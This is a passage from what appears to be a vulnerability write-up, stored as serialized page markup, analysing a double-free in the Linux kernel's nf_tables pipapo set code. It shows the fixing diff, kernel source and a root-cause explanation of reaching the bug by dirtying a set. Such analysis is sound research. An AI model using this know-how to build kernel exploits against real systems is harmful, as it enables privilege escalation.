rcu_barrier();\n",{"type":22,"tag":101,"props":54835,"children":54836},{"class":103,"line":1110},[54837],{"type":22,"tag":101,"props":54838,"children":54839},{"style":120},[54840],{"type":27,"value":54841}," \n",{"type":22,"tag":101,"props":54843,"children":54844},{"class":103,"line":1118},[54845],{"type":22,"tag":101,"props":54846,"children":54847},{"style":6476},[54848],{"type":27,"value":54849},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":101,"props":54851,"children":54852},{"class":103,"line":1158},[54853],{"type":22,"tag":101,"props":54854,"children":54855},{"style":6476},[54856],{"type":27,"value":54857},"-\n",{"type":22,"tag":101,"props":54859,"children":54860},{"class":103,"line":1166},[54861],{"type":22,"tag":101,"props":54862,"children":54863},{"style":120},[54864],{"type":27,"value":54865}," for_each_possible_cpu(cpu)\n",{"type":22,"tag":101,"props":54867,"children":54868},{"class":103,"line":1215},[54869],{"type":22,"tag":101,"props":54870,"children":54871},{"style":120},[54872],{"type":27,"value":54873}," pipapo_free_scratch(m, cpu);\n",{"type":22,"tag":101,"props":54875,"children":54876},{"class":103,"line":2425},[54877],{"type":22,"tag":101,"props":54878,"children":54879},{"style":120},[54880],{"type":27,"value":54881}," free_percpu(m->scratch);\n",{"type":22,"tag":101,"props":54883,"children":54884},{"class":103,"line":5417},[54885],{"type":22,"tag":101,"props":54886,"children":54887},{"style":120},[54888],{"type":27,"value":54889},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":101,"props":54891,"children":54892},{"class":103,"line":7714},[54893],{"type":22,"tag":101,"props":54894,"children":54895},{"style":120},[54896],{"type":27,"value":54897}," if (priv->clone) {\n",{"type":22,"tag":101,"props":54899,"children":54900},{"class":103,"line":7723},[54901],{"type":22,"tag":101,"props":54902,"children":54903},{"style":120},[54904],{"type":27,"value":54905}," m = priv->clone;\n",{"type":22,"tag":101,"props":54907,"children":54908},{"class":103,"line":7791},[54909],{"type":22,"tag":101,"props":54910,"children":54911},{"style":120},[54912],{"type":27,"value":54841},{"type":22,"tag":101,"props":54914,"children":54915},{"class":103,"line":7799},[54916],{"type":22,"tag":101,"props":54917,"children":54918},{"style":6476},[54919],{"type":27,"value":54920},"- if (priv->dirty)\n",{"type":22,"tag":101,"props":54922,"children":54923},{"class":103,"line":7829},[54924],{"type":22,"tag":101,"props":54925,"children":54926},{"style":6476},[54927],{"type":27,"value":54928},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":101,"props":54930,"children":54931},{"class":103,"line":7837},[54932],{"type":22,"tag":101,"props":54933,"children":54934},{"style":1544},[54935],{"type":27,"value":54936},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":101,"props":54938,"children":54939},{"class":103,"line":7868},[54940],{"type":22,"tag":101,"props":54941,"children":54942},{"style":120},[54943],{"type":27,"value":54841},{"type":22,"tag":101,"props":54945,"children":54946},{"class":103,"line":7876},[54947],{"type":22,"tag":101,"props":54948,"children":54949},{"style":120},[54950],{"type":27,"value":54865},{"type":22,"tag":101,"props":54952,"children":54953},{"class":103,"line":7936},[54954],{"type":22,"tag":101,"props":54955,"children":54956},{"style":120},[54957],{"type":27,"value":54958}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":22,"tag":23,"props":54960,"children":54961},{},[54962,54964,54970,54971,54977,54979,54985,54987,54993,54995,55000,55002,55008,55010,55016,55018,55024],{"type":27,"value":54963},"If the ",{"type":22,"tag":30,"props":54965,"children":54967},{"className":54966},[],[54968],{"type":27,"value":54969},"priv->dirty",{"type":27,"value":209},{"type":22,"tag":30,"props":54972,"children":54974},{"className":54973},[],[54975],{"type":27,"value":54976},"priv->clone",{"type":27,"value":54978}," variables are set, ",{"type":22,"tag":30,"props":54980,"children":54982},{"className":54981},[],[54983],{"type":27,"value":54984},"nft_set_pipapo_match_destroy()",{"type":27,"value":54986}," is called twice, once with ",{"type":22,"tag":30,"props":54988,"children":54990},{"className":54989},[],[54991],{"type":27,"value":54992},"priv->match",{"type":27,"value":54994}," as an argument, and then again with ",{"type":22,"tag":30,"props":54996,"children":54998},{"className":54997},[],[54999],{"type":27,"value":54976},{"type":27,"value":55001},". Looking at what this function does, we can see that it is iterating over the ",{"type":22,"tag":30,"props":55003,"children":55005},{"className":55004},[],[55006],{"type":27,"value":55007},"setelem",{"type":27,"value":55009},"s of the ",{"type":22,"tag":30,"props":55011,"children":55013},{"className":55012},[],[55014],{"type":27,"value":55015},"set",{"type":27,"value":55017}," and calling ",{"type":22,"tag":30,"props":55019,"children":55021},{"className":55020},[],[55022],{"type":27,"value":55023},"nf_tables_set_elem_destroy()",{"type":27,"value":55025}," for each of them.",{"type":22,"tag":91,"props":55027,"children":55029},{"className":20513,"code":55028,"language":7187,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[55030],{"type":22,"tag":30,"props":55031,"children":55032},{"__ignoreMap":7},[55033,55080,55108,55134,55141,55162,55175,55182,55279,55287,55294,55349,55370,55377,55480,55492,55499,55535,55542,55576,55583],{"type":22,"tag":101,"props":55034,"children":55035},{"class":103,"line":104},[55036,55041,55046,55051,55055,55059,55063,55068,55072,55076],{"type":22,"tag":101,"props":55037,"children":55038},{"style":108},[55039],{"type":27,"value":55040},"static",{"type":22,"tag":101,"props":55042,"children":55043},{"style":108},[55044],{"type":27,"value":55045}," void",{"type":22,"tag":101,"props":55047,"children":55048},{"style":926},[55049],{"type":27,"value":55050}," nft_set_pipapo_match_destroy",{"type":22,"tag":101,"props":55052,"children":55053},{"style":120},[55054],{"type":27,"value":980},{"type":22,"tag":101,"props":55056,"children":55057},{"style":108},[55058],{"type":27,"value":13660},{"type":22,"tag":101,"props":55060,"children":55061},{"style":108},[55062],{"type":27,"value":25138},{"type":22,"tag":101,"props":55064,"children":55065},{"style":120},[55066],{"type":27,"value":55067}," nft_ctx ",{"type":22,"tag":101,"props":55069,"children":55070},{"style":166},[55071],{"type":27,"value":8615},{"type":22,"tag":101,"props":55073,"children":55074},{"style":126},[55075],{"type":27,"value":24271},{"type":22,"tag":101,"props":55077,"children":55078},{"style":120},[55079],{"type":27,"value":179},{"type":22,"tag":101,"props":55081,"children":55082},{"class":103,"line":157},[55083,55087,55091,55096,55100,55104],{"type":22,"tag":101,"props":55084,"children":55085},{"style":108},[55086],{"type":27,"value":35543},{"type":22,"tag":101,"props":55088,"children":55089},{"style":108},[55090],{"type":27,"value":25138},{"type":22,"tag":101,"props":55092,"children":55093},{"style":120},[55094],{"type":27,"value":55095}," nft_set ",{"type":22,"tag":101,"props":55097,"children":55098},{"style":166},[55099],{"type":27,"value":8615},{"type":22,"tag":101,"props":55101,"children":55102},{"style":126},[55103],{"type":27,"value":55015},{"type":22,"tag":101,"props":55105,"children":55106},{"style":120},[55107],{"type":27,"value":179},{"type":22,"tag":101,"props":55109,"children":55110},{"class":103,"line":182},[55111,55116,55121,55125,55130],{"type":22,"tag":101,"props":55112,"children":55113},{"style":108},[55114],{"type":27,"value":55115}," struct",{"type":22,"tag":101,"props":55117,"children":55118},{"style":120},[55119],{"type":27,"value":55120}," nft_pipapo_match ",{"type":22,"tag":101,"props":55122,"children":55123},{"style":166},[55124],{"type":27,"value":8615},{"type":22,"tag":101,"props":55126,"children":55127},{"style":126},[55128],{"type":27,"value":55129},"m",{"type":22,"tag":101,"props":55131,"children":55132},{"style":120},[55133],{"type":27,"value":2510},{"type":22,"tag":101,"props":55135,"children":55136},{"class":103,"line":367},[55137],{"type":22,"tag":101,"props":55138,"children":55139},{"style":120},[55140],{"type":27,"value":14886},{"type":22,"tag":101,"props":55142,"children":55143},{"class":103,"line":398},[55144,55148,55153,55157],{"type":22,"tag":101,"props":55145,"children":55146},{"style":108},[55147],{"type":27,"value":25138},{"type":22,"tag":101,"props":55149,"children":55150},{"style":120},[55151],{"type":27,"value":55152}," nft_pipapo_field ",{"type":22,"tag":101,"props":55154,"children":55155},{"style":166},[55156],{"type":27,"value":8615},{"type":22,"tag":101,"props":55158,"children":55159},{"style":120},[55160],{"type":27,"value":55161},"f;\n",{"type":22,"tag":101,"props":55163,"children":55164},{"class":103,"line":428},[55165,55170],{"type":22,"tag":101,"props":55166,"children":55167},{"style":108},[55168],{"type":27,"value":55169}," int",{"type":22,"tag":101,"props":55171,"children":55172},{"style":120},[55173],{"type":27,"value":55174}," i, r;\n",{"type":22,"tag":101,"props":55176,"children":55177},{"class":103,"line":997},[55178],{"type":22,"tag":101,"props":55179,"children":55180},{"emptyLinePlaceholder":15},[55181],{"type":27,"value":1581},{"type":22,"tag":101,"props":55183,"children":55184},{"class":103,"line":1032},[55185,55190,55195,55199,55203,55208,55212,55217,55221,55225,55230,55234,55238,55242,55247,55252,55256,55261,55266,55271,55275],{"type":22,"tag":101,"props":55186,"children":55187},{"style":3595},[55188],{"type":27,"value":55189}," for",{"type":22,"tag":101,"props":55191,"children":55192},{"style":120},[55193],{"type":27,"value":55194}," (i ",{"type":22,"tag":101,"props":55196,"children":55197},{"style":166},[55198],{"type":27,"value":1511},{"type":22,"tag":101,"props":55200,"children":55201},{"style":1544},[55202],{"type":27,"value":1547},{"type":22,"tag":101,"props":55204,"children":55205},{"style":120},[55206],{"type":27,"value":55207},", f ",{"type":22,"tag":101,"props":55209,"children":55210},{"style":166},[55211],{"type":27,"value":1511},{"type":22,"tag":101,"props":55213,"children":55214},{"style":126},[55215],{"type":27,"value":55216}," m",{"type":22,"tag":101,"props":55218,"children":55219},{"style":120},[55220],{"type":27,"value":17759},{"type":22,"tag":101,"props":55222,"children":55223},{"style":126},[55224],{"type":27,"value":37080},{"type":22,"tag":101,"props":55226,"children":55227},{"style":120},[55228],{"type":27,"value":55229},"; i ",{"type":22,"tag":101,"props":55231,"children":55232},{"style":166},[55233],{"type":27,"value":123},{"type":22,"tag":101,"props":55235,"children":55236},{"style":126},[55237],{"type":27,"value":55216},{"type":22,"tag":101,"props":55239,"children":55240},{"style":120},[55241],{"type":27,"value":17759},{"type":22,"tag":101,"props":55243,"children":55244},{"style":126},[55245],{"type":27,"value":55246},"field_count",{"type":22,"tag":101,"props":55248,"children":55249},{"style":166},[55250],{"type":27,"value":55251}," -",{"type":22,"tag":101,"props":55253,"children":55254},{"style":1544},[55255],{"type":27,"value":3648},{"type":22,"tag":101,"props":55257,"children":55258},{"style":120},[55259],{"type":27,"value":55260},"; i",{"type":22,"tag":101,"props":55262,"children":55263},{"style":166},[55264],{"type":27,"value":55265},"++",{"type":22,"tag":101,"props":55267,"children":55268},{"style":120},[55269],{"type":27,"value":55270},", f",{"type":22,"tag":101,"props":55272,"children":55273},{"style":166},[55274],{"type":27,"value":55265},{"type":22,"tag":101,"props":55276,"children":55277},{"style":120},[55278],{"type":27,"value":2510},{"type":22,"tag":101,"props":55280,"children":55281},{"class":103,"line":1063},[55282],{"type":22,"tag":101,"props":55283,"children":55284},{"style":120},[55285],{"type":27,"value":55286}," ;\n",{"type":22,"tag":101,"props":55288,"children":55289},{"class":103,"line":1071},[55290],{"type":22,"tag":101,"props":55291,"children":55292},{"emptyLinePlaceholder":15},[55293],{"type":27,"value":1581},{"type":22,"tag":101,"props":55295,"children":55296},{"class":103,"line":1110},[55297,55301,55306,55310,55314,55319,55323,55327,55331,55336,55341,55345],{"type":22,"tag":101,"props":55298,"children":55299},{"style":3595},[55300],{"type":27,"value":55189},{"type":22,"tag":101,"props":55302,"children":55303},{"style":120},[55304],{"type":27,"value":55305}," (r ",{"type":22,"tag":101,"props":55307,"children":55308},{"style":166},[55309],{"type":27,"value":1511},{"type":22,"tag":101,"props":55311,"children":55312},{"style":1544},[55313],{"type":27,"value":1547},{"type":22,"tag":101,"props":55315,"children":55316},{"style":120},[55317],{"type":27,"value":55318},"; r ",{"type":22,"tag":101,"props":55320,"children":55321},{"style":166},[55322],{"type":27,"value":123},{"type":22,"tag":101,"props":55324,"children":55325},{"style":126},[55326],{"type":27,"value":36967},{"type":22,"tag":101,"props":55328,"children":55329},{"style":120},[55330],{"type":27,"value":17759},{"type":22,"tag":101,"props":55332,"children":55333},{"style":126},[55334],{"type":27,"value":55335},"rules",{"type":22,"tag":101,"props":55337,"children":55338},{"style":120},[55339],{"type":27,"value":55340},"; r",{"type":22,"tag":101,"props":55342,"children":55343},{"style":166},[55344],{"type":27,"value":55265},{"type":22,"tag":101,"props":55346,"children":55347},{"style":120},[55348],{"type":27,"value":1463},{"type":22,"tag":101,"props":55350,"children":55351},{"class":103,"line":1118},[55352,55356,55361,55365],{"type":22,"tag":101,"props":55353,"children":55354},{"style":108},[55355],{"type":27,"value":9840},{"type":22,"tag":101,"props":55357,"children":55358},{"style":120},[55359],{"type":27,"value":55360}," nft_pipapo_elem ",{"type":22,"tag":101,"props":55362,"children":55363},{"style":166},[55364],{"type":27,"value":8615},{"type":22,"tag":101,"props":55366,"children":55367},{"style":120},[55368],{"type":27,"value":55369},"e;\n",{"type":22,"tag":101,"props":55371,"children":55372},{"class":103,"line":1158},[55373],{"type":22,"tag":101,"props":55374,"children":55375},{"emptyLinePlaceholder":15},[55376],{"type":27,"value":1581},{"type":22,"tag":101,"props":55378,"children":55379},{"class":103,"line":1166},[55380,55384,55388,55392,55396,55400,55404,55408,55412,55416,55420,55424,55429,55434,55438,55442,55446,55451,55455,55459,55463,55467,55472,55476],{"type":22,"tag":101,"props":55381,"children":55382},{"style":3595},[55383],{"type":27,"value":35390},{"type":22,"tag":101,"props":55385,"children":55386},{"style":120},[55387],{"type":27,"value":55305},{"type":22,"tag":101,"props":55389,"children":55390},{"style":166},[55391],{"type":27,"value":123},{"type":22,"tag":101,"props":55393,"children":55394},{"style":126},[55395],{"type":27,"value":36967},{"type":22,"tag":101,"props":55397,"children":55398},{"style":120},[55399],{"type":27,"value":17759},{"type":22,"tag":101,"props":55401,"children":55402},{"style":126},[55403],{"type":27,"value":55335},{"type":22,"tag":101,"props":55405,"children":55406},{"style":166},[55407],{"type":27,"value":55251},{"type":22,"tag":101,"props":55409,"children":55410},{"style":1544},[55411],{"type":27,"value":3648},{"type":22,"tag":101,"props":55413,"children":55414},{"style":166},[55415],{"type":27,"value":18187},{"type":22,"tag":101,"props":55417,"children":55418},{"style":126},[55419],{"type":27,"value":36967},{"type":22,"tag":101,"props":55421,"children":55422},{"style":120},[55423],{"type":27,"value":17759},{"type":22,"tag":101,"props":55425,"children":55426},{"style":126},[55427],{"type":27,"value":55428},"mt",{"type":22,"tag":101,"props":55430,"children":55431},{"style":120},[55432],{"type":27,"value":55433},"[r ",{"type":22,"tag":101,"props":55435,"children":55436},{"style":166},[55437],{"type":27,"value":8426},{"type":22,"tag":101,"props":55439,"children":55440},{"style":1544},[55441],{"type":27,"value":3648},{"type":22,"tag":101,"props":55443,"children":55444},{"style":120},[55445],{"type":27,"value":54344},{"type":22,"tag":101,"props":55447,"children":55448},{"style":126},[55449],{"type":27,"value":55450},"e",{"type":22,"tag":101,"props":55452,"children":55453},{"style":166},[55454],{"type":27,"value":1541},{"type":22,"tag":101,"props":55456,"children":55457},{"style":126},[55458],{"type":27,"value":36967},{"type":22,"tag":101,"props":55460,"children":55461},{"style":120},[55462],{"type":27,"value":17759},{"type":22,"tag":101,"props":55464,"children":55465},{"style":126},[55466],{"type":27,"value":55428},{"type":22,"tag":101,"props":55468,"children":55469},{"style":120},[55470],{"type":27,"value":55471},"[r].",{"type":22,"tag":101,"props":55473,"children":55474},{"style":126},[55475],{"type":27,"value":55450},{"type":22,"tag":101,"props":55477,"children":55478},{"style":120},[55479],{"type":27,"value":2510},{"type":22,"tag":101,"props":55481,"children":55482},{"class":103,"line":1215},[55483,55488],{"type":22,"tag":101,"props":55484,"children":55485},{"style":3595},[55486],{"type":27,"value":55487}," continue",{"type":22,"tag":101,"props":55489,"children":55490},{"style":120},[55491],{"type":27,"value":1520},{"type":22,"tag":101,"props":55493,"children":55494},{"class":103,"line":2425},[55495],{"type":22,"tag":101,"props":55496,"children":55497},{"emptyLinePlaceholder":15},[55498],{"type":27,"value":1581},{"type":22,"tag":101,"props":55500,"children":55501},{"class":103,"line":5417},[55502,55507,55511,55515,55519,55523,55527,55531],{"type":22,"tag":101,"props":55503,"children":55504},{"style":120},[55505],{"type":27,"value":55506}," e ",{"type":22,"tag":101,"props":55508,"children":55509},{"style":166},[55510],{"type":27,"value":1511},{"type":22,"tag":101,"props":55512,"children":55513},{"style":126},[55514],{"type":27,"value":36967},{"type":22,"tag":101,"props":55516,"children":55517},{"style":120},[55518],{"type":27,"value":17759},{"type":22,"tag":101,"props":55520,"children":55521},{"style":126},[55522],{"type":27,"value":55428},{"type":22,"tag":101,"props":55524,"children":55525},{"style":120},[55526],{"type":27,"value":55471},{"type":22,"tag":101,"props":55528,"children":55529},{"style":126},[55530],{"type":27,"value":55450},{"type":22,"tag":101,"props":55532,"children":55533},{"style":120},[55534],{"type":27,"value":1520},{"type":22,"tag":101,"props":55536,"children":55537},{"class":103,"line":7714},[55538],{"type":22,"tag":101,"props":55539,"children":55540},{"emptyLinePlaceholder":15},[55541],{"type":27,"value":1581},{"type":22,"tag":101,"props":55543,"children":55544},{"class":103,"line":7723},[55545,55550,55555,55559,55563,55567,55572],{"type":22,"tag":101,"props":55546,"children":55547},{"style":926},[55548],{"type":27,"value":55549}," nf_tables_set_elem_destroy",{"type":22,"tag":101,"props":55551,"children":55552},{"style":120},[55553],{"type":27,"value":55554},"(ctx, set, ",{"type":22,"tag":101,"props":55556,"children":55557},{"style":166},[55558],{"type":27,"value":985},{"type":22,"tag":101,"props":55560,"children":55561},{"style":126},[55562],{"type":27,"value":55450},{"type":22,"tag":101,"props":55564,"children":55565},{"style":120},[55566],{"type":27,"value":17759},{"type":22,"tag":101,"props":55568,"children":55569},{"style":126},[55570],{"type":27,"value":55571},"priv",{"type":22,"tag":101,"props":55573,"children":55574},{"style":120},[55575],{"type":27,"value":994},{"type":22,"tag":101,"props":55577,"children":55578},{"class":103,"line":7791},[55579],{"type":22,"tag":101,"props":55580,"children":55581},{"style":120},[55582],{"type":27,"value":13601},{"type":22,"tag":101,"props":55584,"children":55585},{"class":103,"line":7799},[55586],{"type":22,"tag":101,"props":55587,"children":55588},{"style":120},[55589],{"type":27,"value":188},{"type":22,"tag":23,"props":55591,"children":55592},{},[55593,55595,55601,55603,55608],{"type":27,"value":55594},"Which will then ",{"type":22,"tag":30,"props":55596,"children":55598},{"className":55597},[],[55599],{"type":27,"value":55600},"kfree()",{"type":27,"value":55602}," the ",{"type":22,"tag":30,"props":55604,"children":55606},{"className":55605},[],[55607],{"type":27,"value":55007},{"type":27,"value":231},{"type":22,"tag":91,"props":55610,"children":55612},{"className":20513,"code":55611,"language":7187,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[55613],{"type":22,"tag":30,"props":55614,"children":55615},{"__ignoreMap":7},[55616,55657,55685,55714,55721,55756,55763,55784,55807,55814,55827],{"type":22,"tag":101,"props":55617,"children":55618},{"class":103,"line":104},[55619,55624,55629,55633,55637,55641,55645,55649,55653],{"type":22,"tag":101,"props":55620,"children":55621},{"style":108},[55622],{"type":27,"value":55623},"void",{"type":22,"tag":101,"props":55625,"children":55626},{"style":926},[55627],{"type":27,"value":55628}," nf_tables_set_elem_destroy",{"type":22,"tag":101,"props":55630,"children":55631},{"style":120},[55632],{"type":27,"value":980},{"type":22,"tag":101,"props":55634,"children":55635},{"style":108},[55636],{"type":27,"value":13660},{"type":22,"tag":101,"props":55638,"children":55639},{"style":108},[55640],{"type":27,"value":25138},{"type":22,"tag":101,"props":55642,"children":55643},{"style":120},[55644],{"type":27,"value":55067},{"type":22,"tag":101,"props":55646,"children":55647},{"style":166},[55648],{"type":27,"value":8615},{"type":22,"tag":101,"props":55650,"children":55651},{"style":126},[55652],{"type":27,"value":24271},{"type":22,"tag":101,"props":55654,"children":55655},{"style":120},[55656],{"type":27,"value":179},{"type":22,"tag":101,"props":55658,"children":55659},{"class":103,"line":157},[55660,55665,55669,55673,55677,55681],{"type":22,"tag":101,"props":55661,"children":55662},{"style":108},[55663],{"type":27,"value":55664}," const",{"type":22,"tag":101,"props":55666,"children":55667},{"style":108},[55668],{"type":27,"value":25138},{"type":22,"tag":101,"props":55670,"children":55671},{"style":120},[55672],{"type":27,"value":55095},{"type":22,"tag":101,"props":55674,"children":55675},{"style":166},[55676],{"type":27,"value":8615},{"type":22,"tag":101,"props":55678,"children":55679},{"style":126},[55680],{"type":27,"value":55015},{"type":22,"tag":101,"props":55682,"children":55683},{"style":120},[55684],{"type":27,"value":179},{"type":22,"tag":101,"props":55686,"children":55687},{"class":103,"line":182},[55688,55692,55696,55701,55705,55710],{"type":22,"tag":101,"props":55689,"children":55690},{"style":108},[55691],{"type":27,"value":55664},{"type":22,"tag":101,"props":55693,"children":55694},{"style":108},[55695],{"type":27,"value":25138},{"type":22,"tag":101,"props":55697,"children":55698},{"style":120},[55699],{"type":27,"value":55700}," nft_elem_priv ",{"type":22,"tag":101,"props":55702,"children":55703},{"style":166},[55704],{"type":27,"value":8615},{"type":22,"tag":101,"props":55706,"children":55707},{"style":126},[55708],{"type":27,"value":55709},"elem_priv",{"type":22,"tag":101,"props":55711,"children":55712},{"style":120},[55713],{"type":27,"value":2510},{"type":22,"tag":101,"props":55715,"children":55716},{"class":103,"line":367},[55717],{"type":22,"tag":101,"props":55718,"children":55719},{"style":120},[55720],{"type":27,"value":14886},{"type":22,"tag":101,"props":55722,"children":55723},{"class":103,"line":398},[55724,55728,55733,55737,55742,55746,55751],{"type":22,"tag":101,"props":55725,"children":55726},{"style":108},[55727],{"type":27,"value":25138},{"type":22,"tag":101,"props":55729,"children":55730},{"style":120},[55731],{"type":27,"value":55732}," nft_set_ext ",{"type":22,"tag":101,"props":55734,"children":55735},{"style":166},[55736],{"type":27,"value":8615},{"type":22,"tag":101,"props":55738,"children":55739},{"style":120},[55740],{"type":27,"value":55741},"ext ",{"type":22,"tag":101,"props":55743,"children":55744},{"style":166},[55745],{"type":27,"value":1511},{"type":22,"tag":101,"props":55747,"children":55748},{"style":926},[55749],{"type":27,"value":55750}," nft_set_elem_ext",{"type":22,"tag":101,"props":55752,"children":55753},{"style":120},[55754],{"type":27,"value":55755},"(set, elem_priv);\n",{"type":22,"tag":101,"props":55757,"children":55758},{"class":103,"line":428},[55759],{"type":22,"tag":101,"props":55760,"children":55761},{"emptyLinePlaceholder":15},[55762],{"type":27,"value":1581},{"type":22,"tag":101,"props":55764,"children":55765},{"class":103,"line":997},[55766,55770,55774,55779],{"type":22,"tag":101,"props":55767,"children":55768},{"style":3595},[55769],{"type":27,"value":19786},{"type":22,"tag":101,"props":55771,"children":55772},{"style":120},[55773],{"type":27,"value":3603},{"type":22,"tag":101,"props":55775,"children":55776},{"style":926},[55777],{"type":27,"value":55778},"nft_set_ext_exists",{"type":22,"tag":101,"props":55780,"children":55781},{"style":120},[55782],{"type":27,"value":55783},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":22,"tag":101,"props":55785,"children":55786},{"class":103,"line":1032},[55787,55792,55797,55802],{"type":22,"tag":101,"props":55788,"children":55789},{"style":926},[55790],{"type":27,"value":55791}," nft_set_elem_expr_destroy",{"type":22,"tag":101,"props":55793,"children":55794},{"style":120},[55795],{"type":27,"value":55796},"(ctx, ",{"type":22,"tag":101,"props":55798,"children":55799},{"style":926},[55800],{"type":27,"value":55801},"nft_set_ext_expr",{"type":22,"tag":101,"props":55803,"children":55804},{"style":120},[55805],{"type":27,"value":55806},"(ext));\n",{"type":22,"tag":101,"props":55808,"children":55809},{"class":103,"line":1063},[55810],{"type":22,"tag":101,"props":55811,"children":55812},{"emptyLinePlaceholder":15},[55813],{"type":27,"value":1581},{"type":22,"tag":101,"props":55815,"children":55816},{"class":103,"line":1071},[55817,55822],{"type":22,"tag":101,"props":55818,"children":55819},{"style":926},[55820],{"type":27,"value":55821}," kfree",{"type":22,"tag":101,"props":55823,"children":55824},{"style":120},[55825],{"type":27,"value":55826},"(elem_priv);\n",{"type":22,"tag":101,"props":55828,"children":55829},{"class":103,"line":1110},[55830],{"type":22,"tag":101,"props":55831,"children":55832},{"style":120},[55833],{"type":27,"value":188},{"type":22,"tag":23,"props":55835,"children":55836},{},[55837,55838,55844,55846,55851,55853,55858,55860,55865,55866,55871,55873,55878,55880,55885,55887,55892],{"type":27,"value":2007},{"type":22,"tag":30,"props":55839,"children":55841},{"className":55840},[],[55842],{"type":27,"value":55843},"nft_pipapo_match",{"type":27,"value":55845}," objects contain views of the ",{"type":22,"tag":30,"props":55847,"children":55849},{"className":55848},[],[55850],{"type":27,"value":55007},{"type":27,"value":55852},"'s of a ",{"type":22,"tag":30,"props":55854,"children":55856},{"className":55855},[],[55857],{"type":27,"value":55015},{"type":27,"value":55859},". The difference between the ",{"type":22,"tag":30,"props":55861,"children":55863},{"className":55862},[],[55864],{"type":27,"value":54992},{"type":27,"value":209},{"type":22,"tag":30,"props":55867,"children":55869},{"className":55868},[],[55870],{"type":27,"value":54976},{"type":27,"value":55872}," match objects is that the clone has a view of not only already committed ",{"type":22,"tag":30,"props":55874,"children":55876},{"className":55875},[],[55877],{"type":27,"value":55007},{"type":27,"value":55879},"'s that the \"normal\" one has but also a view of the ",{"type":22,"tag":30,"props":55881,"children":55883},{"className":55882},[],[55884],{"type":27,"value":55007},{"type":27,"value":55886},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":22,"tag":30,"props":55888,"children":55890},{"className":55889},[],[55891],{"type":27,"value":54992},{"type":27,"value":231},{"type":22,"tag":1760,"props":55894,"children":55896},{"id":55895},"root-cause-analysis",[55897],{"type":27,"value":55898},"Root-cause analysis",{"type":22,"tag":23,"props":55900,"children":55901},{},[55902,55904,55910,55912,55917],{"type":27,"value":55903},"So ",{"type":22,"tag":30,"props":55905,"children":55907},{"className":55906},[],[55908],{"type":27,"value":55909},"nf_tables_set_elem_destroy",{"type":27,"value":55911}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":22,"tag":30,"props":55913,"children":55915},{"className":55914},[],[55916],{"type":27,"value":55007},{"type":27,"value":55918},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":22,"tag":23,"props":55920,"children":55921},{},[55922,55924,55929,55931,55936,55938,55943,55945,55950,55952,55957],{"type":27,"value":55923},"We should now try to understand how to reach that path with the ",{"type":22,"tag":30,"props":55925,"children":55927},{"className":55926},[],[55928],{"type":27,"value":54969},{"type":27,"value":55930}," flag set, which is a member of the private data of a pipapo ",{"type":22,"tag":30,"props":55932,"children":55934},{"className":55933},[],[55935],{"type":27,"value":55007},{"type":27,"value":55937}," that becomes true whenever a change is made to the ",{"type":22,"tag":30,"props":55939,"children":55941},{"className":55940},[],[55942],{"type":27,"value":55015},{"type":27,"value":55944}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":22,"tag":30,"props":55946,"children":55948},{"className":55947},[],[55949],{"type":27,"value":55015},{"type":27,"value":55951}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":22,"tag":30,"props":55953,"children":55955},{"className":55954},[],[55956],{"type":27,"value":55015},{"type":27,"value":55958}," dirty by inserting a new element.",{"type":22,"tag":91,"props":55960,"children":55962},{"className":20513,"code":55961,"language":7187,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[55963],{"type":22,"tag":30,"props":55964,"children":55965},{"__ignoreMap":7},[55966,56036,56065,56090,56097,56104,56133,56140],{"type":22,"tag":101,"props":55967,"children":55968},{"class":103,"line":104},[55969,55973,55977,55982,55986,55990,55994,55999,56003,56008,56012,56016,56020,56024,56028,56032],{"type":22,"tag":101,"props":55970,"children":55971},{"style":108},[55972],{"type":27,"value":55040},{"type":22,"tag":101,"props":55974,"children":55975},{"style":108},[55976],{"type":27,"value":55169},{"type":22,"tag":101,"props":55978,"children":55979},{"style":926},[55980],{"type":27,"value":55981}," nft_pipapo_insert",{"type":22,"tag":101,"props":55983,"children":55984},{"style":120},[55985],{"type":27,"value":980},{"type":22,"tag":101,"props":55987,"children":55988},{"style":108},[55989],{"type":27,"value":13660},{"type":22,"tag":101,"props":55991,"children":55992},{"style":108},[55993],{"type":27,"value":25138},{"type":22,"tag":101,"props":55995,"children":55996},{"style":120},[55997],{"type":27,"value":55998}," net 